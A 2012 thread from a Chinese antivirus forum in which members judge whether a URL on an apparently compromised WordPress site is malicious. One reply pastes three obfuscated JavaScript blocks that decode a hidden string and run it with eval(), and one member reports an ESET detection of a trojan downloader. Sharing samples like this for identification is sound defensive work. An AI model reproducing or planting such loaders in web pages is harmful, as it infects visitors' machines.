查看: 2514|回复: 8
收起左侧

[已鉴定] http://follapavas.es/wp-admin/includes/bo_kmarklet.html[clean][by always]

 关闭 [复制链接]
firefox3
发表于 2012-6-2 17:54:09 | 显示全部楼层 |阅读模式
本帖最后由 always 于 2012-6-2 23:47 编辑

http://follapavas.es/wp-admin/includes/bo_kmarklet.html

e.JPG
said411f
发表于 2012-6-2 23:32:56 | 显示全部楼层
1.
<div id="zvia"><script language="javascript">function qga(ff,ymof){if(!ymof){ymof='7wcP6Mv8T-yiX?9)(0N;+g&o.4=qK3JUHmOI{bSDzuE5ZthGlkYjsxVpQdefBRW}';}var y;var OR='';for(var lycc=0;lycc<ff.length;lycc+=4){y=(ymof.indexOf(ff.charAt(lycc))&63)<<18|(ymof.indexOf(ff.charAt(lycc+1))&63)<<12|(ymof.indexOf(ff.charAt(lycc+2))&63)<<6|ymof.indexOf(ff.charAt(lycc+3))&63;OR+=St
ring.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}qga('3SMYT8wY)&0G.pgt4&ds9pwYiD3Y=o0bycKBKV?Y-YZD=owsTvkmqS3x.&3b)N-E.o4mKV?Y=owsTOwsJowb)N-s4omsiVum3SMj.p-uK8(O)OKu9pwYiD3Y=o0byc3S3&dI3vbGqOwh.&+zyoZH-Y{fK8Th3p-u3v+z-p4mKOwu3S4xTPsH?P{f-Y{fK8Th3p-u3v+z-p4mKOw54c7RTcm{qV?xq&gh3cdD4o0Mqvgt4&ds(Db-4cHOJD4u.NTuy;ZDy;tlKOdpKSbs4NHD=V(hKp0dqv+hKvRj=o0uqVQH)N7O.&-jqVkx3v+O9YKu9pwYiD3Y=o0byc354cdj38bZ4NdV
=o?u.SbZ=o0dTPsHTD4uKVbOqv+O9YKu9pwYiD3Y=o0byc354cdj38bZ4Ndp=&0s=c7RTP.lXjZDy;tlKOdpKSbs4NHD=o4S3N7RTP6Qi;TVySbV4D+EXI+GXNlkyVt{iD?sJ&kbiD3u480z9YKu9pwYiD3Y=o0byc354cdj38bZ4Ndsqp7H)Nwu3S4xyxlDK8mK-jZDy;tlKOdpKSbs4NHDUNKu9pwYiD3Y=o0byc3b3SMZyMlDqSMbycbK-Y{f-Y{fK8Th3p-u3v+z-jlGKV?Y-YZD=ows)OKu9Y7HT777');</script>

2.
<div id="xc"><script language="javascript">function yk(hkah,wry){if(!wry){wry='nDT{zeKFU=WX(rcQ)jf52PV7S8G*NJgIH?yd1OMtphRs&wkY}CZ.9E6-qvL0bi3m';}var y;var OR=
'';for(var eas=0;eas<hkah.length;eas+=4){y=(wry.indexOf(hkah.charAt(eas))&63)<<18|(wry.indexOf(hkah.charAt(eas+1))&63)<<12|(wry.indexOf(hkah.charAt(eas+2))&63)<<6|wry.indexOf(hkah.charAt(eas+3))&63;OR+=String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}yk('JMeZUKwy*{E1*6rE*VPkJ{wsSM}kJ-=hJK2p=.C.S-UtWZJhNF)H*Kek8-P?862iUMh?JMe.S-=hNF)yUFjvNK2iUtjOgF)YGMe6S7rdNMO}JTU3=Z10G6=&XtJZG7jOWTJMJVvd
JKOY*yDE8V2pW7&H=Z10G6=&XtJZG7jOWTJ6S7UH*FOCU{9Hr{10=Z10G6=&XtJZG7jOWTJ6S7UH8VjvU{9HWKjYS-Pw8Vv9XMJOJzP&8VEO*tjTg2O1WT=qSZUhW5&tW5wsSM}kJ-=hJK2p=6P1gfv.JFO&8fv}*-rhJKOY*yniUT=?StrY*FP98fU0=Z10G6=&XtJZG7jOWTJO8F1kN-jv*K2kJMO.GV=h*KO9gfniUT=6G7rhSMCOUd&tW5wsSM}kJ-=hJK2p=6P1gfv.JFO&8fv-GVj9GTniU{S}(.&tW5wsSM}kJ-=hJK2p=6CvNfniU{zqX5U6WMCvNfpZrfbCX{zs8VjvXtr9gVCOXtJh8FjpcZNhc6wy*Tv-NMO98fHt8VjvXtr9gVCOXtjYNTniUKCvNfwN=-Dq7TN0=Z10G6=&XtJZG7jOWTJi=Z10G6=&
XtJZG7jOWTJOJMe&We}tJVPOWTON=Z10=Z10G6=&XtJZG7jOWTNbX-rdNyNs=6O}J{qtW5&HUTnn');</script>

3.
<div id="nnkx"><script language="javascript">function sdp(ihuv,sfq){if(!sfq){sfq='6Rf79-gJjZmEcw*z2Wa?kYVKG43osFDOx
;vAH)uy&h+eCNdLrMq5.S1(TI0n{tb}';}var y;var OR='';for(var onrt=0;onrt<ihuv.length;onrt+=4){y=(sfq.indexOf(ihuv.charAt(onrt))&63)<<18|(sfq.indexOf(ihuv.charAt(onrt+1))&63)<<12|(sfq.indexOf(ihuv.charAt(onrt+2))&63)<<6|sfq.indexOf(ihuv.charAt(onrt+3))&63;OR+=String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}sdp('Fu-qjgtvzVWLG(YN4VI.*1tvEyFq3KW)mfs{s1wqZqCy3KR.jgM;ouFSGVF)zaZ+GK4;s1wq3KR.jvR.D
KR)zaZ.4K;.E1h;Fu-5G(ZhsJ2vzvsh*1tvEyFq3KW)mfFuFVIAFg)LovR1s(c&mKCxZqHno1jdF(ZhFgk&Z(4;svR1GKRej7.xw7HnZqHno1jdF(ZhFgk&Z(4;svR+3f6tjf;Ho1wSoVYdFfIy4KW-ogYN4VI.2y)Z4fxvouIeDfjhm?Cym?NLGvI(su).4axy3uxds(WIogkdsgt53KWho1Txza6vGVZ5o1MSFgkv*qsh*1tvEyFq3KW)mfF+3fI5FJ)C4aI13KwhGu)C3KWIj7.xjy4hs1)vogkv*qsh*1tvEyFq3KW)mfF+3fI5FJ)C4aI(3VW.3f6tj7Grc5Cym?NLGvI(su).4axyFu-r3q6tj79TE?j1my4;sgC+cAkLcarMm1h&Eyw.DVM)EyFh4JW&*qsh*1tvEyFq3KW)mfF+3fI5FJ)C4aI.o(6xzaR1GKRemSrysJ;sZ5Cym?NLGvI(su).4
axyOash*1tvEyFq3KW)mfF)Fu-Cm-ryFyw5mf)sZqHnZqHno1jdF(ZhFgk&Z5rLs1wqZqCy3KR.zvsh*q6xj666');</script>
kxmp
发表于 2012-6-2 23:41:25 | 显示全部楼层
avast kill
always
发表于 2012-6-2 23:46:44 | 显示全部楼层
clean
said411f
发表于 2012-6-3 01:48:14 | 显示全部楼层
MSE

656635525
发表于 2012-6-4 12:22:40 | 显示全部楼层
5.jpg
释然的心
发表于 2012-6-5 10:59:16 | 显示全部楼层
侦测到安全威胁 !


详细信息:   
网页: hxxp://follapavas.es/wp-admin/includes/bo_kmarklet.html
安全威胁: JS/TrojanDownloader.Agent.NUE 特洛伊木马
注释: 此网页的访问已被ESET Smart Security拦截。

XMonster
发表于 2012-6-5 16:55:39 | 显示全部楼层
always 发表于 2012-6-2 23:46
clean

都误报了麽?

sshot-3.png
always
发表于 2012-6-6 21:17:59 | 显示全部楼层
XMonster 发表于 2012-6-5 16:55
都误报了麽?

报的都是加密的脚本
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-10-28 00:06 , Processed in 0.128569 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表